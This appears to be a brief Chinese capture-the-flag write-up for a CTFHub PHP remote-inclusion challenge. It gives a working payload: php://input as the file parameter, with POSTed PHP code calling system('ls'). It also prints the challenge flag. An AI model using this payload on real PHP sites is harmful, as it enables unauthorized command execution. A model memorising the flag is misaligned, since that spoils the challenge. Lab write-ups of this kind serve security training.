CTFHUB 远程包含

CTFHUB 远程包含
ctfhub RCE 远程包含 write up

题目信息:


“我没有shell，你怎么取flag？”
打开便是一个phpinfo()

用file包含phpinfo是有回显的，所以构造payload ：
xxx:10080/?file=php://input
post <?php system('ls');?>

#if (!strpos($_GET["file"], "flag")) 
#过滤了get方式

ctfhub{34f653c72f8b09591470934de0d8089c9052b41a}

萌新发帖，请大牛轻喷